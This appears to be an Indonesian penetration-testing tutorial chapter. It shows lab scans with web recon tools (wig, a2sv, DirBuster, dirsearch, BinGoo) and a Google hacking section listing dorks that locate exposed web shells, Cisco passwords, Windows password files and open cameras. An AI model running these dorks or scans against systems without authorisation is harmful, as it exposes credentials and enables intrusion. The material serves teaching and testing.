          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o [A]bort, default: [N]
[!] You can not run a scan without any databases. Extract the data.zip file.

If Your OS Doesn't Have WPScan
Dont Worry Dude I Have Alternative Scanner For You
Next Time Use Kali Linux if you want this tool work perfectly
```

```
      > GITHUB : www.github.com/KyxRecon  >
      > SITE   : www.kyxhack.blogspot.mx  >
      >                                   >
    data>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]: Scanning http://192.168.1.32/data
[ERROR]: Could not find anything, or something went wrong!
./yuki.sh: line 176: droopescan: command not found
__        _____  ____        _
\ \      / /  _ \/ ___|  ___| | ___   _
 \ \ /\ / /| |_) \___ \ / _ \ |/ / | | |
  \ V  V / |  __/ ___) |  __/   <| |_| |
   \_/\_/  |_|   |____/ \___|_|\_\\__,_|

|| WPSeku - Wordpress Security Scanner
|| Version 0.2.1
|| Momo Outaadi (M4ll0k)
|| https://github.com/m4ll0k/WPSeku

[+] Target: http://192.168.1.32/data
[+] Starting: 28/12/2017 23:08:00


[*] Checking sitemap...
[-] sitemap.xml not available
[*] Checking license...
[-] license.txt not available
[*] Checking robots...
[*] Checking crossdomain...
[-] crossdomain.xml not available
[*] Checking readme...
[-] readme.html not available
[*] Checking .htaccess...
[-] .htaccess not available
```

```
Scan Wordpress Finished

Scan Joomla Starting

start scanning
./yuki.sh: line 187: ./joomscan: Permission denied
./yuki.sh: line 188: droopescan: command not found

Scan Joomla Finished

Scan Other CMS Starting

scan drupal cms
./yuki.sh: line 199: droopescan: command not found
scan dupal cms finished next....

scan silverstripe cms
./yuki.sh: line 203: droopescan: command not found
scan silverstripe cms finished next.....

scan moodle cms
./yuki.sh: line 207: droopescan: command not found
scan moodle cms finished next.....

Scan Other CMS Finished
```

Materi sisipan

Wig untuk mendeteksi CMS, phpMyadmin page, php-apache version dan sebagainya

wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications.

The application fingerprinting is based on checksums and string matching of known files for different versions of CMSes. This results in a score being calculated for each detected CMS and its versions. Each detected CMS is displayed along with the most probable version(s) of it. The score calculation is based on weights and the amount of "hits" for a given checksum.

wig also tries to guess the operating system on the server based on the 'server' and 'x-powered-by' headers. A database containing known header values for different operating systems is included in wig, which allows wig to guess Microsoft Windows versions and Linux distribution and version.

Sumber : https://github.com/jekyc/wig

```
root@kali:~# git clone https://github.com/jekyc/wig.git
Cloning into 'wig'...
remote: Counting objects: 4240, done.
remote: Total 4240 (delta 0), reused 0 (delta 0), pack-reused 4240
Receiving objects: 100% (4240/4240), 4.47 MiB | 724.00 KiB/s, done.
Resolving deltas: 100% (2832/2832), done.
root@kali:~# ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  wig
root@kali:~# cd wig
root@kali:~/wig# pwd
/root/wig
root@kali:~/wig# ls
LICENSE  MANIFEST.in  README.md  cache  setup.py  wig  wig.py
```

```
root@kali:~/wig# python3 wig.py -h
usage: wig.py [-h] [-l INPUT_FILE] [-q] [-n STOP_AFTER] [-a] [-m] [-u] [-d]
              [-t THREADS] [--no_cache_load] [--no_cache_save]
              [--cache_dir CACHE_DIR] [-N] [--verbosity] [--proxy PROXY]
              [-w OUTPUT_FILE]
              [url]

WebApp Information Gatherer

positional arguments:
  url                   The url to scan e.g. http://example.com

optional arguments:
  -h, --help            show this help message and exit
  -l INPUT_FILE         File with urls, one per line.
  -q                    Set wig to not prompt for user input during run
  -n STOP_AFTER         Stop after this amount of CMSs have been detected.
                        Default: 1
  -a                    Do not stop after the first CMS is detected
  -m                    Try harder to find a match without making more
                        requests
  -u                    User-agent to use in the requests
  -d                    Disable the search for subdomains
  -t THREADS            Number of threads to use
  --no_cache_load       Do not load cached responses
  --no_cache_save       Do not save the cache for later use
  --cache_dir CACHE_DIR
                        Set location for cache. Default: ~/.wig_cache - if not
                        possible, CWD is used
```

```
root@kali:~/wig# python3 wig.py http://192.168.1.32/blog/wordpress

wig - WebApp Information Gatherer

Scanning http://192.168.1.32/blog/wordpress...
____________________________________________ SITE INFO ____________________________________________
IP                  Title
192.168.1.32        Toko Online | Just another WordPress site
____________________________________________ VERSION ____________________________________________
Name                Versions                                                    Type
WordPress           3.1.1                                                       CMS
phpMyAdmin          2.11.7                                                      CMS
dav                 2                                                           Platform
Apache              2.2.9                                                       Platform
mod_ssl             2.2.9                                                       Platform
openssl             0.9.8h                                                      Platform
mod_autoindex_color                                                             Platform
PHP                 5.2.6                                                       Platform
jQuery              1.4.4                                                       JavaScript
FreeBSD             6.4                                                         OS
____________________________________________ INTERESTING ____________________________________________
URL                 Note                                                        Type
/phpmyadmin/Documentation.txt   phpMyAdmin Documentation page                   Interesting
/phpmyadmin/README              phpMyAdmin readme                               Interesting
/phpmyadmin/Documentation.html  phpMyAdmin Documentation page                   Interesting
/test.php           Test file                                                   Interesting
____________________________________________ TOOLS ____________________________________________
Name                Link                                                        Software
wpscan              https://github.com/wpscanteam/wpscan                        WordPress
CMSmap              https://github.com/Dionach/CMSmap                           WordPress
____________________________________________ VULNERABILITIES ____________________________________________
Affected            #Vulns                                                      Link
WordPress 3.1.1     31                                                          http://cvedetails.com/version/112477
phpMyAdmin 2.11.7   10                                                          http://cvedetails.com/version/62110
____________________________________________________________________________________________________
Time: 44.3 sec      Urls: 455                                                   Fingerprints: 40401
root@kali:~/wig#
```

Materi sisipan

Auto Scanning to SSL Vulnerability

Auto Scanning to SSL Vulnerability.
HeartBleed, CCS Injection, SSLv3 POODLE, FREAK... etc

A. Support Vulnerability

[CVE-2007-1858] Anonymous Cipher
[CVE-2012-4929] CRIME(SPDY)
[CVE-2014-0160] CCS Injection
[CVE-2014-0224] HeartBleed
[CVE-2014-3566] SSLv3 POODLE
[CVE-2015-0204] FREAK Attack
[CVE-2015-4000] LOGJAM Attack
[CVE-2016-0800] SSLv2 DROWN

B. Dev Plan

[PLAN] SSL ACCF
[PLAN] SSL Information Analysis

Sumber : https://github.com/hahwul/a2sv

Install :

A. Download(clone) & Unpack A2SV

```
git clone https://github.com/hahwul/a2sv.git
cd a2sv
```

B. Install Python Package / OpenSSL

```
pip install argparse
pip install netaddr
apt-get install openssl
```

C. Run A2SV

```
python a2sv.py –h
```

Contoh untuk scanning ; python a2sv.py -t ip target

```
root@kali:~/a2sv# python a2sv.py -t 192.168.1.164
[SET] target => 192.168.1.164
[SET] IP Address => 192.168.1.164
[SET] target port => 443
[SET] include => All Module

[Auto Scanning to SSL Vulnerability 1.6]
by HaHwul (www.hahwul.com)
[INF] Check the SSL..
[RES] This target supports SSL..
[INF] Scan Anonymous Cipher..
 - [LOG] IP Check Ok.
 - [LOG] Start SSL Connection
 - [LOG] Analysis SSL Information
 - [LOG] 'Connection success'
[INF] Scan CRIME(SPDY)..
 - [LOG] IP Check Ok.
 - [LOG] Start SSL Connection
 - [LOG] Analysis SSL Information
 - [LOG] 'Includes SPDY version <4'
```

```
 - [LOG] Waiting for Server Hello...
 - [LOG] Sending heartbeat request..
[INF] Scan SSLv3 POODLE..
 - [LOG] Allow SSLv3 Protocol
[INF] Scan OpenSSL FREAK..
 - [LOG] IP Check Ok.
 - [LOG] Start SSL Connection / Gathering Information
 - [LOG] Ending Get Information
 - [LOG] 'Cipher is EXP' not in Response
[INF] Scan OpenSSL LOGJAM..
 - [LOG] IP Check Ok.
 - [LOG] Start SSL Connection / Gathering Information
 - [LOG] Ending Get Information
 - [LOG] 'Cipher is DEH' not in Response
[INF] Scan SSLv2 DROWN..
 - [LOG] Not connected SSLv2
[RES] Finish scan all vulnerability..
_____________________________________________________________________
                          [A2SV REPORT]
 [TARGET]: 192.168.1.164
 [PORT]: 443
 [SCAN TIME]: 2018-02-07 04:58:37.842844
 [VULNERABILITY]
Vulnerability     CVE           CVSS v2 Base Score          State
================= ============= =========================== ===============
Anonymous Cipher  CVE-2007-1858 AV:N/AC:H/Au:N/C:P/I:N/A:N  Not Vulnerable.
CRIME(SPDY)       CVE-2012-4929 AV:N/AC:H/Au:N/C:P/I:N/A:N  Vulnerable!
HeartBleed        CVE-2014-0160 AV:N/AC:L/Au:N/C:P/I:N/A:N  Not Vulnerable.
CCS Injection     CVE-2014-0224 AV:N/AC:M/Au:N/C:P/I:P/A:P  Vulnerable!
SSLv3 POODLE      CVE-2014-3566 AV:N/AC:M/Au:N/C:P/I:N/A:N  Vulnerable!
OpenSSL FREAK     CVE-2015-0204 AV:N/AC:M/Au:N/C:N/I:P/A:N  Not Vulnerable.
OpenSSL LOGJAM    CVE-2015-4000 AV:N/AC:M/Au:N/C:N/I:P/A:N  Not Vulnerable.
SSLv2 DROWN       CVE-2016-0800 AV:N/AC:M/Au:N/C:P/I:N/A:N  Not Vulnerable.
_____________________________________________________________________
[FIN] Scan Finish!
root@kali:~/a2sv#
```

Bab 32

Google Hacking

32.1 Google Hacking

Google hacking is a computer hacking technique that uses Google Search and other Google applications to find security holes in the configuration and computer code that websites use.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Google_hacking

Advanced Operators

There are many similar advanced operators which can be use to exploit insecure website

Operator	Purpose	Mixes with Other Operators?	Can be used Alone?	Web	Images	Groups	News
intitle	Search page Title	yes	yes	yes	yes	yes	yes
allintitle	Search page title	no	yes	yes	yes	yes	yes
inurl	Search URL	yes	yes	yes	yes	not really	like intitle
allinurl	Search URL	no	yes	yes	yes	yes	like intitle
filetype	specific files	yes	no	yes	yes	no	not really
allintext	Search text of page only	not really	yes	yes	yes	yes	yes
site	Search specific site	yes	yes	yes	yes	no	not really
link	Search for links to pages	no	yes	yes	no	no	not really
inanchor	Search link anchor text	yes	yes	yes	yes	not really	yes
numrange	Locate number	yes	yes	yes	no	no	not really
daterange	Search in data range	yes	no	yes	not really	not really	not really
author	Group author search	yes	yes	no	no	yes	not really
group	Group name search	not really	yes	no	no	yes	not really
insubject	Group subject search	yes	yes	like intitle	like intitle	yes	like intitle
msgid	Group msgid search	no	yes	not really	not really	yes	not really

Sumber Gambar table : en.wikipedia.org - https://en.wikipedia.org/wiki/Google_hacking

Contoh salah pemanfaatan google hacking

intext:index of: site:com

Intitle

Intitle digunakan untuk mencari informasi pada judul atau title sebuah halaman web

Contohnya anda mengetik “intitle:wordpress” (tanpa tanda kutip), hasil yang di peroleh adalah halaman yang menggunakan title wordpress.

Inurl

Inurl digunakan untuk menghasilkan hasil pencarian yang mengandung kata kunci pada

URL yang dicari Contoh : anda mengetik ”inurl:wordpress” (tanpa tanda kutip) maka hasil yang akan di peroleh adalah URL/ Halaman web yang menggandung kata wordpress.

Site

Site digunakan untuk mencari kata kunci yang anda cari pada satu alamt situs saja dan

dapat digunakan untuk mencari jumlah situs pada suatu negara.

Contoh: anda mengetik “hacker site:xcode.or.id” (Tanpa tanda kutip) maka

hasil yang akan di tampilkan adalah yang hanya yang berkaitan tentang xcode.or.id dan

juuga hanya pada alamat xcode.or.id

Untuk mengetahui situs-situs pada sebuah negara

Contoh : anda mengetik “site:id” (tanpa tanda kutip(maka google akan memberikan informasi situs yang ada di indonesia . Id merupakan ekstensi dari situs yang ada di

indonesia

Filetype

Filetype digunakan untuk mencari sebuah fle di internet dengan ekstensi tertentu misalnya: .mov, .exe, .doc, .ppt, .txt, .pdf .dan lain-lain. Contoh: anda mengetik ”hacker filetype:pdf” (tanpa tanda kutip) maka hasil yang akan di tampilkan file PDF dari kata hacker yang dapat langsung download atau dibuka.

Intext

Intext digunakan untuk menampilkan hasil pencarian yang berupa kata-kata pada body pada situs tertentu. Contoh mengetik ”intext:hacker” (tanpa tanda kutip) maka hasilnya adalah halaman yang mengandung kata kunci hacker.

Info

Info digunakan untuk mencari informasi dari suatu site yang di cari

Contohnya info:xcode.or.id.com” (tanpa tanda kutip), hasil yang akan di peroleh adalah informasi dari xcode.or.id.

Google Dork ?

Google dorks are the center of the Google Hacking. Many hackers use google to find vulnerable webpages and later use these vulnerabilities for hacking.

Google Dorks to play with:

r57shell

inurl:r57 intext:r57 cpu+mem+phpini+phpinfo intitle:r57shell

Cisco

inurl:"NetworkConfiguration" cisco

inurl:"ccmuser" intext:cisco

inurl:"ccmuser/logon.asp"

inurl:-cfg intext:"enable password"

inurl:"level/15/exec/-/show"

intitle:Cisco Systems, Inc VPN 3000 Concentrator

Windows

inurl:"_vti_pvt/service.pwd"

ext:ica intext:Password

ext:reg "Terminal Server Client"

Cameras

inurl:"ViewerFrame?Mode="

inurl:home/homej.html intitle:snc

inurl:home/homea.html intitle:snc

intitle:flexwatch intext:"Home page ver"

(intext:"MOBOTIX M1" | intext:"MOBOTIX M10") intext:"Open Menu" Shift-Reload

intitle:"Live View / - AXIS" | inurl:view/view.sht

Sumber : securepla.net - https://www.securepla.net/wiki/index.php?title=Google_dorks

Contoh lain :

http://www.exploit-db.com/exploits/20918

Dork 1 (config.php)

inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

Dork 2 (playlist.php)

inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

Dork 3 (General):

inurl:"/wp-content/plugins/hd-webplayer/"

Tambahan

Mencari halam,an admin

intext:"admin|login" inurl:/robots.txt site:my

Mencari file-file tersembunyi pada folder yang direktorinya tidak ditutup

intext:index of: site:my

Materi sisipan

Mencari situs di google sesuai kriteria dengan BinGoo dan cara mencari halaman loginnya

Di Ubuntu Server

```
root@ubuntufresh: /home/data
  Graph this data and manage this system at https://landscape.canonical.com/

Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife

New release '13.10' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Dec 29 09:07:39 2017
data@ubuntufresh:~$ sudo su
[sudo] password for data:
root@ubuntufresh:/home/data# apt-get install lynx
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  lynx-cur
The following NEW packages will be installed:
  lynx lynx-cur
0 upgraded, 2 newly installed, 0 to remove and 128 not upgraded.
Need to get 1,038 kB of archives.
After this operation, 2,451 kB of additional disk space will be used.
Do you want to continue [Y/n]?
```

Install browser : apt-get install lynx

```
Need to get 1,038 kB of archives.
After this operation, 2,451 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://old-releases.ubuntu.com/ubuntu/ raring/main lynx-cur i386 2.8.8dev.
15-2 [1,034 kB]
Get:2 http://old-releases.ubuntu.com/ubuntu/ raring/main lynx all 2.8.8dev.15-2
[3,964 B]
Fetched 1,038 kB in 11s (94.2 kB/s)
Selecting previously unselected package lynx-cur.
(Reading database ... 59735 files and directories currently installed.)
Unpacking lynx-cur (from .../lynx-cur_2.8.8dev.15-2_i386.deb) ...
Selecting previously unselected package lynx.
Unpacking lynx (from .../lynx_2.8.8dev.15-2_all.deb) ...
Processing triggers for man-db ...
Processing triggers for mime-support ...
Setting up lynx-cur (2.8.8dev.15-2) ...
update-alternatives: using /usr/bin/lynx to provide /usr/bin/www-browser (www-br
owser) in auto mode
Setting up lynx (2.8.8dev.15-2) ...
root@ubuntufresh:/home/data#
```

```
root@ubuntufresh:/home/data# apt-get install git
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  git-man liberror-perl
Suggested packages:
  git-daemon-run git-daemon-sysvinit git-doc git-el git-arch git-cvs git-svn
  git-email git-gui gitk gitweb
The following NEW packages will be installed:
  git git-man liberror-perl
0 upgraded, 3 newly installed, 0 to remove and 128 not upgraded.
Need to get 7,416 kB of archives.
After this operation, 17.2 MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://old-releases.ubuntu.com/ubuntu/ raring/main liberror-perl all 0.17-
1 [23.8 kB]
Get:2 http://old-releases.ubuntu.com/ubuntu/ raring/main git-man all 1:1.8.1.2-1
 [653 kB]
1% [2 git-man 17.0 kB/653 kB 3%]
```

apt-get install git

```
root@ubuntufresh:/home/data# git clone https://github.com/Hood3dRob1n/BinGoo.git
Cloning into 'BinGoo'...
remote: Counting objects: 40, done.
remote: Total 40 (delta 0), reused 0 (delta 0), pack-reused 40
Unpacking objects: 100% (40/40), done.
root@ubuntufresh:/home/data#
```

git clone https://github.com/Hood3dRob1n/BinGoo.git

```
root@ubuntufresh:/home/data# ls
BinGoo
linux-headers-3.8.13-03081328_3.8.13-03081328.201409030938_all.deb
linux-headers-3.8.13-03081328-generic_3.8.13-03081328.201409030938_i386.deb
linux-image-3.8.13-03081328-generic_3.8.13-03081328.201409030938_i386.deb
updatekernel2.zip
root@ubuntufresh:/home/data# cd BinGoo/
root@ubuntufresh:/home/data/BinGoo# ls
bingoo  dorks  plugins  README.txt  results
root@ubuntufresh:/home/data/BinGoo# ./bingoo
```

Cd BinGoo

./binggo

```
 ) | __ )(_)_ __  / ___| ___   ___ | | (
(  |  _ \| | '_ \| |  _ / _ \ / _ \| |  )
 ) | |_) | | | | | |_| | (_) | (_) |_| (
(  |____/|_|_| |_|\____|\___/ \___/(_)  )
 )                                      (
'---------------------By-Hood3dRob1n----'

Please select which option you would like to use:
1) Google                      4) Bing Shared Hosting Check
2) Bing                        5) Digger Recon Tool
3) Bing Geo Dorker             6) Analyze & Tools
#? 1

Do you want to run single dork scan or import list of dorks to scan with?
1) Single Dork Scan                 3) Exit
2) Mass Scan w/Imported Dork List
#? 1

Please provide Google dork to use:
site:co.id

Starting scan, be patient this will take a sec...
```

Pilih 1 lalu 1, lalu ketik seperti di atas site:co.id lalu enter

```
Please provide Google dork to use:
site:co.id

Starting scan, be patient this will take a sec...


Found 188 Links:
http://ainamulyana.blogspot.co.id/
http://autospinn.co.id/
http://beinsports.co.id/
http://bigforum.co.id/
http://bi.microsoft.co.id/
http://bintang.co.id/
http://dbjobs.co.id/
http://dell.co.id/
http://forbesindonesia.co.id/
http://gosiprumahan.blogspot.co.id/
http://idntimes.co.id/
http://isuzuminibus.blogspot.co.id/
http://iveco.co.id/
http://jip.co.id/
http://kibar.co.id/
http://kompas.co.id/
http://kompasiana.co.id/
http://manual.co.id/
http://merdeka.co.id/
http://metube.co.id/
http://mnc.co.id/
http://mpmgroup.co.id/
http://nationalgeographic.co.id/
http://nikefootball.co.id/
http://practo.co.id/
http://rivalrebels.blogspot.co.id/
http://rockyabisabenayas.blogspot.co.id/
https://fajar.co.id/
```

Hasilnya ditemukan 188 links

Untuk mencari halaman login dengan BinGoo

```
root@ubuntufresh:/home/data/BinGoo# ./bingoo
          __    _,--="=--,_   __
         /  \."    .-.    "./  \
        /  ,/  _   : :   _  \/` \
        \  `| /o\  :_:  /o\ |\__/
         `-'| :="~` _ `~"=: |
            \`     (_)     `/
     .-"-.   \      |      /   .-"-.
.---{     }--|  /,.-'-.,\  |--{     }---.
 )  (_)_)_)  \_/`~-===-~`\_/  (_(_(_)  (
(   ____  _        ____             _   )
 ) | __ )(_)_ __  / ___| ___   ___ | | (
(  |  _ \| | '_ \| |  _ / _ \ / _ \| |  )
 ) | |_) | | | | | |_| | (_) | (_) |_| (
(  |____/|_|_| |_|\____|\___/ \___/(_)  )
 )                                      (
'---------------------By-Hood3dRob1n----'

Please select which option you would like to use:
1) Google                      4) Bing Shared Hosting Check
2) Bing                        5) Digger Recon Tool
3) Bing Geo Dorker             6) Analyze & Tools
#? 6

Please select which links file to analyze or what tool to use:
1) Bing Links File: b-links.txt    6) LFI Tools
2) Google Links File: g-links.txt  7) SQLi Tools
3) Both Bing & Google Links Files  8) Return to Dorker
4) My Links File                   9) Exit
5) Admin Page Finder
#? 5

Please provide site link to try and find admin page for:
http://192.168.1.32/data/

Here we go....
[ 200 SUCCESS ] http://192.168.1.32/data/login.php
[ 302 Redirect ] http://192.168.1.32/data/logout.php
[ 200 SUCCESS ] http://192.168.1.32/data/admin.php
[ 200 SUCCESS ] http://192.168.1.32/data/user.php

All done now, hope we found what you wanted!
```

Materi sisipan

DIRBUSTER

Dirbuster untuk mencari direktori dan file yang sensitif. File sensitifnya bisa berupa file backup, halaman login, log file, website versi lama masih terpasang tapi dengan direktori lain yang bisa saja mempunya celah, dan sebagainya

Ketik dirbuster lalu enter

http://192.168.1.32/blog/wordpress

Tampilan dirbuster

Isi url target

```
root@dhcppc4:~# cd /usr/share/dirbuster
root@dhcppc4:/usr/share/dirbuster# cd wordlists/
root@dhcppc4:/usr/share/dirbuster/wordlists# ls
apache-user-enum-1.0.txt   directory-list-2.3-medium.txt
apache-user-enum-2.0.txt   directory-list-2.3-small.txt
directories.jbrofuzz       directory-list-lowercase-2.3-medium.txt
directory-list-1.0.txt     directory-list-lowercase-2.3-small.txt
root@dhcppc4:/usr/share/dirbuster/wordlists#
```

Cari tempat wordlistnya, contohnya seperti di atas, jika tidak ada disitu dapat mencari dengan ketik locate dirbuster lalu enter.

Ketik browse lalu enter

Masukan url tempat wordlist berada di input file name lalu pilih file wordlist yang ingin digunakan

Misal dipilih seperti di atas

Klik start

Scanning dilakukan

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

http://192.168.1.32:80/

Scan Information \ Results - List View: Dirs: 79 Files: 173 \ Results - Tree View \ Errors: 7 \

Directory Stucture	Response Code	Response Size
/	200	28006
blog	200	1077
perlcritic.lnk	200	494
wordpress	200	440
index.php	301	495
wp-content	200	220
wp-login.php	200	3862
wp-includes	200	218
cgi-bin	403	313
forum	302	407
security	302	245
icons	200	218

Current speed: 366 requests/sec (Select and right click for more options)

Average speed: (T) 337, (C) 293 requests/sec

Parse Queue Size: 32

Total Requests: 34784/14375208

Current number of running threads: 10

Change

Time To Finish: 13:35:43

Back Pause Stop Report

Hasilnya di view tree adalah mendapatkan halaman login password untuk web wordpress tersebut.

Contoh lain hasil scan

http://192.168.1.9:80/

Scan Information \ Results - List View: Dirs: 16 Files: 54 \ Results - Tree View \ Errors: 0

Type	Found	Response
File	/alumni/save.php	200
File	/security/splash.php	200
File	/security/lang.php	302
Dir	/security/lang/	403
File	/security/lang/en.php	200
File	/testing.php	200
File	/security/head.php	200
File	/security/lang/de.php	200
File	/security/lang/fr.php	200
File	/security/lang/it.php	200
File	/security/lang/nl.php	200
File	/shell.php	200
File	/security/lang/es.php	200
File	/security/lang/pl.php	200

Current speed: 349 requests/sec (Select and rig

Muncul shell.php, yang hal seperti itu mungkin saja, bisa dari orang lain yang sudah melakukan hacking lalu memasukkan backdoor PHP Shell dengan nama tersebut.

File shell.php juga bisa terdeteksi

Hasilnya jika dibuka seperti di atas.

File attack.php juga dapat dideteksi

Hasilnya saat dibuka seperti di atas

Materi sisipan

Dirsearch

Dirsearch is a simple command line tool designed to brute force directories and files in websites.

https://github.com/maurosoria/dirsearch

```
root@kalibr:~/dirsearch# python3 dirsearch.py -u http://192.168.1.32/data -e *

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: CHANGELOG.md | Threads: 10 | Wordlist size: 6034

Error Log: /root/dirsearch/logs/errors-18-02-03_14-33-45.log

Target: http://192.168.1.32/data

[14:33:46] Starting:
[14:33:46] 403 -    1KB - /data/%ff/
[14:33:46] 403 -    1KB - /data/%20../
[14:33:46] 403 -    1KB - /data/%3f/
[14:33:47] 403 -    1KB - /data/.hta
[14:33:47] 403 -    1KB - /data/.ht_wsr.txt
[14:33:47] 403 -    1KB - /data/.htaccess-dev
[14:33:47] 403 -    1KB - /data/.htaccess-marco
[14:33:47] 403 -    1KB - /data/.htaccess-local
[14:33:47] 403 -    1KB - /data/.htaccess.bak1
[14:33:47] 403 -    1KB - /data/.htaccess.sample
[14:33:47] 403 -    1KB - /data/.htaccess.BAK
[14:33:47] 403 -    1KB - /data/.htaccess.old
[14:33:47] 403 -    1KB - /data/.htaccess.save
[14:33:47] 403 -    1KB - /data/.htaccess.orig
```

python3 dirsearch.py –u http://192.168.1.32/data -e

```
[14:33:47] 403 -    1KB - /data/.htaccessBAK
[14:33:47] 403 -    1KB - /data/.htaccess_extra
[14:33:47] 403 -    1KB - /data/.htaccess_orig
[14:33:47] 403 -    1KB - /data/.htaccessOLD
[14:33:47] 403 -    1KB - /data/.htaccess~
[14:33:47] 403 -    1KB - /data/.htgroup
[14:33:47] 403 -    1KB - /data/.htpasswd_test
[14:33:47] 403 -    1KB - /data/.htpasswd-old
[14:33:47] 403 -    1KB - /data/.htaccessOLD2
[14:33:47] 403 -    1KB - /data/.htpasswds
[14:33:48] 403 -    1KB - /data/.htusers
[14:33:53] 200 -  656B  - /data/admin.php
[14:34:04] 200 -    0B  - /data/config.php
[14:34:05] 200 -    5KB - /data/database.sql
[14:34:10] 301 -  381B  - /data/images  ->  http://192.168.1.32/data/images/
[14:34:10] 301 -  381B  - /data/Images  ->  http://192.168.1.32/data/Images/
[14:34:11] 200 -    1KB - /data/index.php
[14:34:11] 200 -    1KB - /data/index.PHP
[14:34:11] 200 -    1KB - /data/index.php/login/
[14:34:11] 200 -    1KB - /data/INDEX.PHP
[14:34:14] 200 -    1KB - /data/login.php
[14:34:29] 403 -    1KB - Trace.axd::$DATA
[14:34:30] 200 -    1KB - /data/user.php
[14:34:31] 200 - 1021B  - /data/view.php
[14:34:31] 403 -    1KB - web.config::$DATA

Task Completed
root@kalibr:~/dirsearch#
```

Hasilnya seperti di atas, jadi tahu apa login adminnya, config.php nya hingga bisa mengetahui backup database nya seperti di atas.

Contoh untuk wordpress

```
root@kalibr:~/dirsearch# python3 dirsearch.py -u http://192.168.1.32/blog/wordpress -e *

 _|. _ _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: CHANGELOG.md | Threads: 10 | Wordlist size: 6034

Error Log: /root/dirsearch/logs/errors-18-02-03_14-38-04.log

Target: http://192.168.1.32/blog/wordpress

[14:38:06] Starting:
[14:38:06] 403 -    1KB - /blog/wordpress/%20../
[14:38:06] 403 -    1KB - /blog/wordpress/%3f/
[14:38:06] 403 -    1KB - /blog/wordpress/%ff/
[14:38:08] 403 -    1KB - /blog/wordpress/.ht_wsr.txt
[14:38:08] 403 -    1KB - /blog/wordpress/.htaccess-marco
[14:38:08] 403 -    1KB - /blog/wordpress/.htaccess-dev
[14:38:08] 403 -    1KB - /blog/wordpress/.hta
[14:38:08] 403 -    1KB - /blog/wordpress/.htaccess-local
[14:38:08] 403 -    1KB - /blog/wordpress/.htaccess.bak1
[14:38:08] 403 -    1KB - /blog/wordpress/.htaccess.BAK
[14:38:08] 403 -    1KB - /blog/wordpress/.htaccess.old
[14:38:08] 403 -    1KB - /blog/wordpress/.htaccess.save
[14:38:08] 403 -    1KB - /blog/wordpress/.htaccess.orig
[14:38:08] 403 -    1KB - /blog/wordpress/.htaccess.sample
```

python3 dirsearch.py –u http://192.168.1.32/blog/wordpress -e *

```
[14:38:08] 403 -    1KB - /blog/wordpress/.htpasswd_test
[14:38:41] 200 -   15KB - /blog/wordpress/LICENSE.txt
[14:38:41] 200 -   15KB - /blog/wordpress/license.txt
[14:38:41] 200 -   15KB - /blog/wordpress/License.txt
[14:38:42] 301 -    0B  - /blog/wordpress/index.php/login/  ->  http://192.168.1.32/blog/wordpress/login/
[14:38:42] 301 -    0B  - /blog/wordpress/index.php  ->  http://192.168.1.32/blog/wordpress/
[14:38:42] 301 -    0B  - /blog/wordpress/index.PHP  ->  http://192.168.1.32/blog/wordpress/index.PHP/
[14:38:42] 301 -    0B  - /blog/wordpress/INDEX.PHP  ->  http://192.168.1.32/blog/wordpress/INDEX.PHP/
[14:38:43] 200 -  200B  - /blog/wordpress/logs.txt
[14:38:52] 200 -    9KB - /blog/wordpress/readme.html
[14:38:52] 200 -    9KB - /blog/wordpress/README.html
[14:39:00] 403 -    1KB - Trace.axd::$DATA
[14:39:02] 403 -    1KB - web.config::$DATA
[14:39:03] 301 -  393B  - /blog/wordpress/wp-admin  ->  http://192.168.1.32/blog/wordpress/wp-admin/
[14:39:03] 500 -    1KB - /blog/wordpress/wp-admin/setup-config.php
[14:39:03] 301 -  395B  - /blog/wordpress/wp-content  ->  http://192.168.1.32/blog/wordpress/wp-content/
[14:39:03] 200 -  170B  - /blog/wordpress/wp-content/plugins/akismet/admin.php
[14:39:03] 200 -  177B  - /blog/wordpress/wp-content/plugins/akismet/akismet.php
[14:39:03] 200 -    0B  - /blog/wordpress/wp-content/
[14:39:03] 301 -  396B  - /blog/wordpress/wp-includes  ->  http://192.168.1.32/blog/wordpress/wp-includes/
[14:39:03] 200 -    1KB - /blog/wordpress/wp-content/uploads/
[14:39:04] 200 -  169B  - /blog/wordpress/wp-includes/rss-functions.php
[14:39:04] 200 -   13KB - /blog/wordpress/wp-includes/
[14:39:04] 200 -  782B  - /blog/wordpress/wp-admin/install.php
[14:39:07] 200 -    3KB - /blog/wordpress/wp-login.php
[14:39:07] 302 -    0B  - /blog/wordpress/wp-register.php  ->  http://192.168.1.32/blog/wordpress/wp-login.php?
ction=register
[14:39:07] 200 -   42B  - /blog/wordpress/xmlrpc.php
[14:39:07] 302 -    0B  - /blog/wordpress/wp-admin/  ->  http://192.168.1.32/blog/wordpress/wp-login.php?redire
_to=http%3A%2F%2F192.168.1.32%2Fblog%2Fwordpress%2Fwp-admin%2F&reauth=1

Task Completed
root@kalibr:~/dirsearch#
```

Hasilnya jadi tahu loginnya dan sebagainya

Materi sisipan

Mencari halaman admin dengan admin_finder.pl

```
root@dhcppc4:/home# perl admin_finder.pl
sh: 1: Syntax error: "(" unexpected

        >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        >   Admin CP Finder (MagicCoder Edition)  >
        >     Edited By Mr.38 From INDISHELL      >
        >  Greetz: Ashell_INDIA | r0ot_devil      >
        >           LUCKY       | Cod3d32          >
        > more >> hackforsecurity.blogspot.com    >
        >                                         >
        >         Share By Clound Carbelius       >
